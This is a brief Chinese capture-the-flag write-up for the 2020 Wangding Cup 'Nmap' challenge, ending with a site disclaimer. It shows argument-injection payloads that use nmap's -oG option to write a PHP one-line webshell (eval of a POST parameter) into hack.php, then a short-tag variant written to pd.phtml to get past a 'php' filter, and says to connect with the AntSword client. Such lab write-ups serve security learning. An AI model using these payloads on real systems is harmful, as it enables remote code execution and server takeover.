Nmap -oG 可以写入文件 因此我们可以写入一句话木马
payload如下
' <?php @eval($_POST["hack"]);?> -oG hack.php '
结果回显hacker php被过滤 因此考虑用短标签绕过
' <?= @eval($_POST["pd"]);?> -oG pd.phtml '
用蚁剑连接即可
[网鼎杯 2020 朱雀组]Nmap
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。